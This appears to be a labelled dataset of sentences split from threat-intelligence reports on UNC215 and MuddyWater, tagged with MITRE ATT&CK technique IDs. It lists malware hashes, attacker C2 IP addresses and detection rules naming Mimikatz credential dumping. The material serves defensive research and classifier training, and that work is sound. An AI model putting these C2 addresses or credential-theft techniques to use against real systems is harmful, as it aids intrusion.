{"sentence": "0ec4d0a477ba21bda9a96d8f360a6848 and MD5: 04dece2662f648f619d9c0377a7ba7c0 have embedded configurations of internal IP addresses (192.168.1.237 and 192.168.4.26 respectively) as C2 servers.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "If they receive a command with an IP address and port, they will connect and relay the command.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "FOCUSFJORD sample MD5: e3e1b386cdc5f4bb2ba419eb69b1b921 has an internal IP address, 192.168.4.197, configured as its C2.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "While hunting for FOCUSFJORD samples, we found a sample of a new malware (MD5: 625dd9048e3289f19670896cf5bca7d8) that shares code with FOCUSFJORD, but is distinct.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "We suspect this type of malware was used in the aforementioned operation.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The actors stripped out unnecessary FOCUSFJORD capabilities, possibly to reduce the likelihood it would be detected by security controls.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Figure 3 contains the data structure as it is being sent from a FOCUSFJORD sample configured to communicate with another FOCUSFJORD victim.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Figure 3: Two FOCUSFJORD samples configured to proxy C2 traffic FOCUSFJORD Changes We have observed numerous variants of the FOCUSFJORD malware family since 2017.", "labels": ["T1090"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The authors have added new communications protocols, an updated loading mechanism, and expanded the number of supported configurations in newer versions.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Version numbers indicate that the malware undergoes frequent changes and maybe supported by a team of developers.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Many of these variants contain or remove functionality depending on the operator’s unique requirements at the time, which may suggest that multiple operators have access to the source code or a builder, or that a close relationship exists between the developers and operators.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "FOCUSFJORD samples can be configured with up to 13 unique registry values which allow operators to control and organize compromised hosts.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "In addition to specifying details related to the loading and persistence mechanisms and C2 communications, there are two keys which allow the operator to add additional context about the victim: Registry key 12 is the “group” name.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Registry key 13 could be interpreted as the “console” name, although we do not fully understand how the identifier is used by the operators.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "We have observed the values “galway”, “iceland”, “helen”, and “idapro”.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "We observed different console values within the same network, identical console values using different C2 addresses, and identical console values targeting different countries.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The NCC Group discussed these configurations in a 2018 report and released a decoding tool.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Registry Key 13 FOCUSFJORD MD5 Hash Related C2 Suspected Target helen 3d95e1c94bd528909308b198f3d47620 139.59.81.253 Israel helen", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "f335b241652cb7f7e736202f14eb48e9 139.59.81.253 Israel helen a0b2193362152053671dbe5033771758 139.59.81.253 Israel helen", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "UAE iceland a78c53351e23d3f84267e67bbca6cf07 206.189.123.156 Israel (IT) idapro a78c53351e23d3f84267e67bbca6cf07 206.189.123.156 Israel (IT) galway 04c51909fc65304d907b7cb6c92572cd", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Unknown galway 09ffc31a432f646ebcec59d32f286317", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "159.65.80.157 Unknown galway 6ca8993b341bd90a730faef1fb73958b", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "128.199.44.86 Unknown Helen * Unknown 46.101.255.16 Iran Helen * Unknown 178.79.143.78 Iran Idapro * Unknown 138.68.154.133 Iran Table 1: FOCUSFJORD comparison (note: the * entries are from public reporting and have not been verified by Mandiant) False Flags Artifacts in UNC215 campaigns often contain foreign language strings that do not match the country being targeted and may be intended to mislead an analyst examining the malware.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Additionally, on at least three occasions, UNC215 employed a custom tool associated with Iranian actors whose source code was leaked.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "FOCUSFJORD samples (MD5: d13311df4e48a47706b4352995d67ab0 and MD5: 26d079e3afb08af0ac4c6d92fd221e71) observed on Israeli and UAE networks, and a memory dump (MD5: d875858dbd84b420a2027ef5d6e3a512) submitted to a public malware repository by a likely Uzbekistan financial organization are configured with registry keys in Farsi.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Notably, this variant also contains an error message string in Arabic ('ضائع' – which translates to: lost or missing).", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "In April 2019, UNC215 deployed the SEASHARPEE web shell against financial and high-tech organizations in the Middle East and Asia.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The SEASHARPEE web shell was developed and used by Iranian APT actors until the code was leaked online in the telegram channel Lab Dookhtegan a few weeks earlier in March 2019.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The document contains \"C:\\Users\\Iran\" paths that were likely included to obfuscate the source of the activity.", "labels": ["T1027"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The use of Farsi strings, filepaths containing /Iran/, and web shells publicly associated with Iranian APT groups may have been intended to mislead analysts and suggest an attribution to Iran.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Tradecraft Mistakes While UNC215 prioritizes evading detection within a compromised network, Mandiant identified several examples of code, C2 infrastructure, and certificate reuse indicating that UNC215 operators are less concerned about defenders’ ability to track and detect UNC215 activity.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "C2 servers used by UNC215 frequently reuse the same SSL certificate, as described in Team Cymru’s research in 2020.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "On one network, between April 2019 and April 2020, an operator repeatedly and infrequently revisited a compromised network whenever an Endpoint Detection and Response (EDR) tool detected or quarantined tools like HYPERBRO and Mimikatz.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "After several months of repeated detections, UNC215 deployed an updated version of HYPERBRO and a tool called “anti.exe” to stop Windows Update service and terminate EDR and Antivirus related services.", "labels": ["T1562.001"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Attribution Mandiant attributes this campaign to Chinese espionage operators which we track as UNC215 a Chinese espionage operation that has been suspected of targeting organizations around the world since at least 2014.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "We have low confidence that UNC215 is associated with APT27.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "UNC215 has compromised organizations in the government, technology, telecommunications, defense, finance, entertainment, and health care sectors.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The group targets data and organizations which are of great interest to Beijing's financial, diplomatic, and strategic objectives.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Outlook and Implications", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "This cyber espionage activity is happening against the backdrop of China’s multi-billion-dollar investments related to the Belt and Road Initiative (BRI) and its interest in Israeli’s robust technology sector.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Chinese companies have invested billions of dollars into Israeli technology startups, partnering or acquiring companies in strategic industries like semi-conductors and artificial intelligence.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "As China’s BRI moves westward, its most important construction projects in Israel are the railway between Eilat and Ashdod, a private port at Ashdod, and the port of Haifa.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Ingress Tool Transfer T1112", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Modify Registry T1113 Screen Capture T1115 Clipboard Data T1133 External Remote Services T1134 Access Token Manipulation T1140", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Exploit Public-Facing Application T1199 Trusted Relationship T1202 Indirect Command Execution T1213 Data from Information Repositories T1482 Domain Trust Discovery T1489", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Service Stop T1497 Virtualization/Sandbox Evasion T1497.001 Virtualization/Sandbox Evasion: System Checks T1505.003 Server Software Component: Web Shell T1518 Software Discovery T1543.003 Create or Modify System Process: Windows Service T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1553.002 Subvert Trust Controls: Code Signing T1559.002 Inter-Process Communication: Dynamic Data Exchange T1560", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Hide Artifacts: Hidden Window T1569.002 System Services: Service Execution T1573.002 Encrypted Channel:", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "FOCUSFJORD C2 IP 34.65.151.250 FOCUSFJORD C2 IP 159.89.168.83 FOCUSFJORD C2 IP 103.59.144.183", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "FOCUSFJORD C2 IP 141.164.52.232", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "FOCUSFJORD C2 Detecting the Techniques FireEye detects this activity across our platforms.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Win32.HyperBro.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Win32.LuckyMouse.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Win.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "FOCUSFJORD Trojan.Win32.DllHijack.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "FEC3 FE_Trojan_Raw32_SILKWRAP_1 FE_Autopatt_Win_FOCUSFJORD Trojan.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "GenericKD.43427954 Gen:Variant.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Ursu.933105 Trojan.GenericKD.32762213 Trojan.GenericKD.34854595 Gen:Variant.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Ursu.256631 Gen:Variant.Doina.16603 Gen:Variant.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Doina.13437", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Helix 1.1.2927.fireeye_intel_hit_ip 1.1.2928.fireeye_intel_hit_ip 1.1.2929.fireeye_intel_hit_ip 1.1.2930.fireeye_intel_hit_ip 1.1.2947.fireeye_intel_hit_hash 1.1.2948.fireeye_intel_hit_hash 1.1.2949.fireeye_intel_hit_hash 1.1.2950.fireeye_intel_hit_hash 1.1.1404.windows_methodology_unusual_web_server_child_process 1.1.3506.windows_methodology_adfind 1.1.1650.windows_methodology_mimikatz_args 1.1.1651.antivirus_methodology_mimikatz 1.1.1652.windows_methodology_invokemimikatz_powershell_artifacts", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "By SOCRadar Research Security concerns grow day by day with the rise of cyberattacks.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Among the threats, cyber espionage is one of the prominent activities.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "It can be used to get a hold of sensitive or classified data that may be intellectual property, government, or trade secrets.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "The threat actors’ goals might be financial gain, reputational harm, political interests, or cyberwarfare.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Who is MuddyWater? Stuxnet was a big hit on Iran’s nuclear program in 2010.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Iran took that as a wake-up call and began investing in and improving its cyberwarfare capabilities.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "One area they focused on is cyber espionage campaigns.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "The first major campaign was observed in 2012, called the Madi campaign.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Operation categories of MuddyWater MuddyWater, also known as Static Kitten, UNC3313, or MERCURY, is an Iranian state-sponsored APT group.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "According to the FBI and other US and UK-based agencies, they operate as a subordinate element of the Iranian Ministry of Intelligence and Security (MOIS).", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "It is believed that they have been active since late 2017 and have been in close contact with MOIS since 2018.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "MuddyWater was observed to be conducting malicious activities across Europe, Asia, Africa, and North America.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "They are targeting private and government organizations listed below: Defense Education Energy Financial Services Government and administration agencies Healthcare High-Tech International Organizations Media Countries affected by MuddyWater", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "How does MuddyWater Attack?", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "MuddyWater’s arsenal is vast.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "The group exploits various known vulnerabilities and uses a wide range of tools.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "For initial access, the group commonly leverages spear-phishing and tries to trick the victims into opening malicious documents hosted in commercial file-sharing services.", "labels": ["T1566.001"], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "To broaden the compromise, they laterally move by leveraging in-built or deployed tools within the network.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "The figure below shows an instance of the MuddyWater attack chain observed by Microsoft.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "MuddyWater attack chain (Source: Microsoft)", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Which Tools and Vulnerabilities MuddyWater Use? PowGoop DLL Loader: PowGoop malware is a malicious DLL loader.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "It disguises itself as a legitimate Google Update executable.", "labels": ["T1036.005"], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Small Sieve:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Small Sieve is a simple Python backdoor used to distribute Nullsoft Scriptable Install System (NSIS) installer.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Canopy: Canopy is a spyware.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "It collects the victim’s username, computer name, and IP address and sends it to the MuddyWater group.", "labels": ["T1016", "T1033", "T1082"], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Canopy malware is also known as Starwhale malware.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Mori: Mori is a backdoor that uses Domain Name System tunneling to communicate with the group’s C2 infrastructure.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "POWERSTATS:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "POWERSTATS is a backdoor that runs PowerShell scripts to maintain persistent access on the victim systems.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "MuddyWater-associated tools & vulnerabilities provided by SOCRadar Who Did MuddyWater Target in Their Campaigns? MuddyWater campaign timeline MuddyWater’s targets are mostly the neighbors of Iran in the middle east region.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "If we analyze the graphic below, we can see that Turkey, Israel, Iraq, UAE, and Pakistan are among the top targets of MuddyWater.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "So, countries in which Iran has political interests should be aware of MuddyWater’s cyber espionage campaigns.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Countries targeted by MuddyWater Motivations Behind MuddWater’s Attacks in the Last 2 Years", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "In September 2020, a series of agreements called the Abraham Accords were signed between Israel, United Arab Emirates, and Bahrain.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "In particular, Iran may have felt concerned about the Abraham Accords because they could lead to closer ties between Israel and other countries in the region, potentially undermining Iran’s influence.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "With these developments in mind, we may deduce that the cyber-espionage activities carried out by MuddyWater between September 2020 and March 2021 were a reaction to these agreements.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "MuddyWater, as far as known, primarily conducted campaigns in the middle east and its neighboring regions in late 2020 and early 2021.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "However, it is believed that the intent of using Shamoon was not to deploy ransomware but to disrupt operations.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Government agencies, academia, and tourism were some of the targeted sectors.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Latest Attacks of the Threat Actor In January 2022, cybersecurity researchers reported that MuddyWater targeted Turkish private organizations and governmental agencies.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "With the spear phishing technique, the threat actors tried to convince the victims that the documents were from the Turkish Health and Internal Affairs Ministries.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Malicious PDF used in Turkey campaign (Source: Cisco Talos)", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "In another incident on December 2022, Deep Instinct reported that MuddyWater, conducted malicious activities, again using spear phishing through emails.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Israeli insurance companies were the targets of the attacks.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "As an evolving threat actor, they added a new tool for remote access, Syncro, to their arsenal.", "labels": ["T1219"], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Email from MuddyWater’s Israel attack (Source: Deep Instinct) Conclusion Observations of MuddyWater’s cyber espionage activities can lead to a conclusion that they act according to Iran’s political strategies through MOIS.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Whether it is because of the political implications, or another reason, Israel and Turkey seem to be significant targets for the MuddyWater.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "If you are an organization residing in the middle east, there might be a possibility of being a target of MuddyWater.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Excluding the technical mitigations, keeping up with the political climate of the middle east region might give a heads-up if the tension rises.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "On the technical side, MuddyWater evolves with each attack they perform, but they still bear similar techniques.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Provide necessary training to your employees for security awareness.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Gain visibility into external-facing digital assets with an Attack Surface Management solution.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Regularly apply security patches and software updates.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Apply the least privilege principle across the network, especially to critical systems and services Secure domain controllers (DC) using best practices.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Enable multifactor authentication (MFA) to prevent lateral movement.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Refer to IOCs and take necessary actions toward mitigation.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "SOCRadar’s Attack Surface Management provides visibility into external-facing digital assets.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "SOCRadar has a predictive, preventive, and proactive approach toward security at its core.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "With SOCRadar’s Attack Surface Management, security teams can track which CVEs are present in the environment.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Knowing which CVEs are present in the organization can give the organization an advantage in defending against MuddyWater.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "SOCRadar Attack Surface Management Most threat actors specializing in cyber espionage widely leverage spear phishing, just as MuddyWater does.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "If you receive any suspicious email, you can use free SOC Tools on SOCRadar Labs to analyze it.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "SOCRadar SOC Tools provided by SOCRadar Labs MITRE ATT&CK Techniques Techniques ID Reconnaissance Gather Victim Identity Information: Email Addresses T1589.002 Resource Development Acquire Infrastructure: Web Services T1583.006 Obtain Capabilities: Tool T1588.002 Initial Access Phishing:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Spearphishing Attachment T1566.001", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Spearphishing Link T1566.002 Execution Windows Management Instrumentation T1047 Command and Scripting Interpreter:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "PowerShell T1059.001 Command and Scripting Interpreter:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Windows Command Shell 1.059.003 Command and Scripting Interpreter:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Visual Basic T1059.005 Command and Scripting Interpreter: Python T1059.006 Command and Scripting Interpreter:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "JavaScript T1059.007 Exploitation for Client Execution T1203 User Execution: Malicious Link T1204.001 User Execution: Malicious File T1204.002 Inter-Process Communication: Component Object Model T1559.001 Inter-Process Communication: Dynamic Data Exchange T1559.002 Persistence Scheduled Task/Job: Scheduled Task T1053.005 Office Application Startup: Office Template Macros T1137.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1547.001 Privilege Escalation Abuse Elevation Control Mechanism: Bypass User Account Control T1548.002 Credentials from Password Stores T1555 Credentials from Web Browsers T1555.003 Defense Evasion Obfuscated Files or Information T1027 Steganography T1027.003 Compile", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "After Delivery T1027.004 Masquerading: Match Legitimate Name or Location T1036.005 Deobfuscate/Decode Files or Information T1140 Signed Binary Proxy Execution: CMSTP T1218.003 Signed Binary Proxy Execution: Mshta T1218.005 Signed Binary Proxy Execution: Rundll32 T1218.011 Execution Guardrails T1480 Impair Defenses:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Disable or Modify Tools T1562.001 Credential Access OS Credential Dumping: LSASS Memory T1003.001 OS Credential Dumping: LSA Secrets T1003.004 OS Credential Dumping: Cached Domain Credentials T1003.005 Unsecured Credentials: Credentials In Files T1552.001 Discovery System Network Configuration Discovery T1016 System Owner/User Discovery T1033 System Network Connections Discovery T1049 Process Discovery T1057 System Information Discovery T1082 File and Directory Discovery T1083 Account Discovery: Domain Account T1087.002 Software Discovery T1518 Security Software Discovery T1518.001 Collection Screen Capture T1113 Archive Collected Data: Archive via Utility T1560.001 Command and Control Application Layer Protocol: Web Protocols T1071.001 Proxy: External Proxy T1090.002 Web Service:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Bidirectional Communication T1102.002 Multi-Stage Channels T1104 Ingress Tool Transfer T1105 Data Encoding: Standard Encoding T1132.001 Data Encoding: Non-Standard Encoding T1132.002 Remote Access Software T1219 Exfiltration Exfiltration Over C2 Channel T1041 Appendix: Appendix 1: IOCs of PowGoop goopdate[.]dll MD5: a27655d14b0aabec8db70ae08a623317 SHA-1: 7649c554e87f6ea21ba86bb26ea39521d5d18151 SHA-256: 2c92da2721466bfbdaff7fedd9f3e8334b688a88ee54d7cab491e1a9df41258f File type: Win32 DLL File size: 88.50 KB (90624 bytes) vcruntime140[.]dll MD5: cec48bcdedebc962ce45b63e201c0624 SHA-1: 81f46998c92427032378e5dead48bdfc9128b225 SHA-256: dd7ee54b12a55bcc67da4ceaed6e636b7bd30d4db6f6c594e9510e1e605ade92 File type: Win32 DLL File size: 91.50 KB (93696 bytes) IOCs 104.208.16[.]94:443 (TCP) 20.42.65[.]92:443 (TCP) 20.42.73[.]29:443 (TCP) libpcre2-8-0[.]dll MD5: 860f5c2345e8f5c268c9746337ade8b7 SHA-1: 6c55d3acdc2d8d331f0d13024f736bc28ef5a7e1 SHA-256: 9d50fcb2c4df4c502db0cac84bef96c2a36d33ef98c454165808ecace4dd2051 File type: Win32 DLL File size: 94.50 KB (96768 bytes) IOCs 20.189.173[.]20:443 (TCP) 20.189.173[.]21:443 (TCP) 20.42.73[.]29:443 (TCP) Appendix 2: IOCs of Small Sieve gram_app[.]exe MD5: 15fa3b32539d7453a9a85958b77d4c95 SHA-1: 11d594f3b3cf8525682f6214acb7b7782056d282 SHA-256: b75208393fa17c0bcbc1a07857686b8c0d7e0471d00a167a07fd0d52e1fc9054 File type: Win32 EXE File size: 16.21 MB (16999598 bytes) IOCs 13.107.4[.]50:80 (TCP) 149.154[.]167.220:443 (TCP) 192.168.0[.]15:137 (UDP) 23.216.147[.]64:443 (TCP) 23.216.147[.]76:443 (TCP) a83f:8110:0:0:1400:1400:2800[:]3800:53 (UDP)", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "index[.]exe MD5: 5763530f25ed0ec08fb26a30c04009f1 SHA-1: 2a6ddf89a8366a262b56a251b00aafaed5321992 SHA-256: bf090cf7078414c9e157da7002ca727f06053b39fa4e377f9a0050f2af37d3a2 File type: Win32 EXE File size: 16.46 MB (17263089 bytes) IOCs 13.107.4[.]50:80 (TCP) 192.168.0[.]1:137 (UDP) 192.168.0[.]25:137 (UDP) 20.99.132[.]105:443 (TCP) 209.197.3[.]8:80 (TCP) 23.216.147[.]64:443 (TCP) a83f:8110:0:0:7f00:0:0[:]0:53 (UDP) a83f:8110:492a:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Appendix 5:IOCs of POWERSTATS LisfonService[.]exe MD5: f5dee1f9cd47dc7bae468da9732c862e SHA-1: 5273ee897e67fc01ee5fef08c37400cb4ee15958 SHA-256: 6f8226d890350943a9ef4cc81598e0e953d8ba9746694c0b7e3d99e418701b39 File type: Win32 EXE File size: 119.00 KB (121856 bytes) TestService[.]exe MD5: e75443a5e825f69c75380b6dc76c6b50 SHA-1: 142b5753c608c65e702e41b52abdeb96cb2f9294 SHA-256: c514c3f293f0cb4c23662a5ab962b158cb97580b03a22b82e21fa3b26d64809c File type: Win32 EXE File size: 92.50 KB (94720 bytes) IOCs 13.107.4.50:80 (TCP) a83f:8110:e0:ffff:e0:ffff:e0[:]ffff:53 (UDP) The post Dark Web Profile: MuddyWater APT Group appeared first on SOCRadar:registered: Cyber Intelligence Inc..", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "As with our previous article, we will highlight the common ways we see threat actors using Cobalt Strike.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Big shout-out to @Kostastsale for helping put this Part 2 together!", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Also thanks to @svch0st, @pigerlin, and @0xtornado for reviewing this report.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
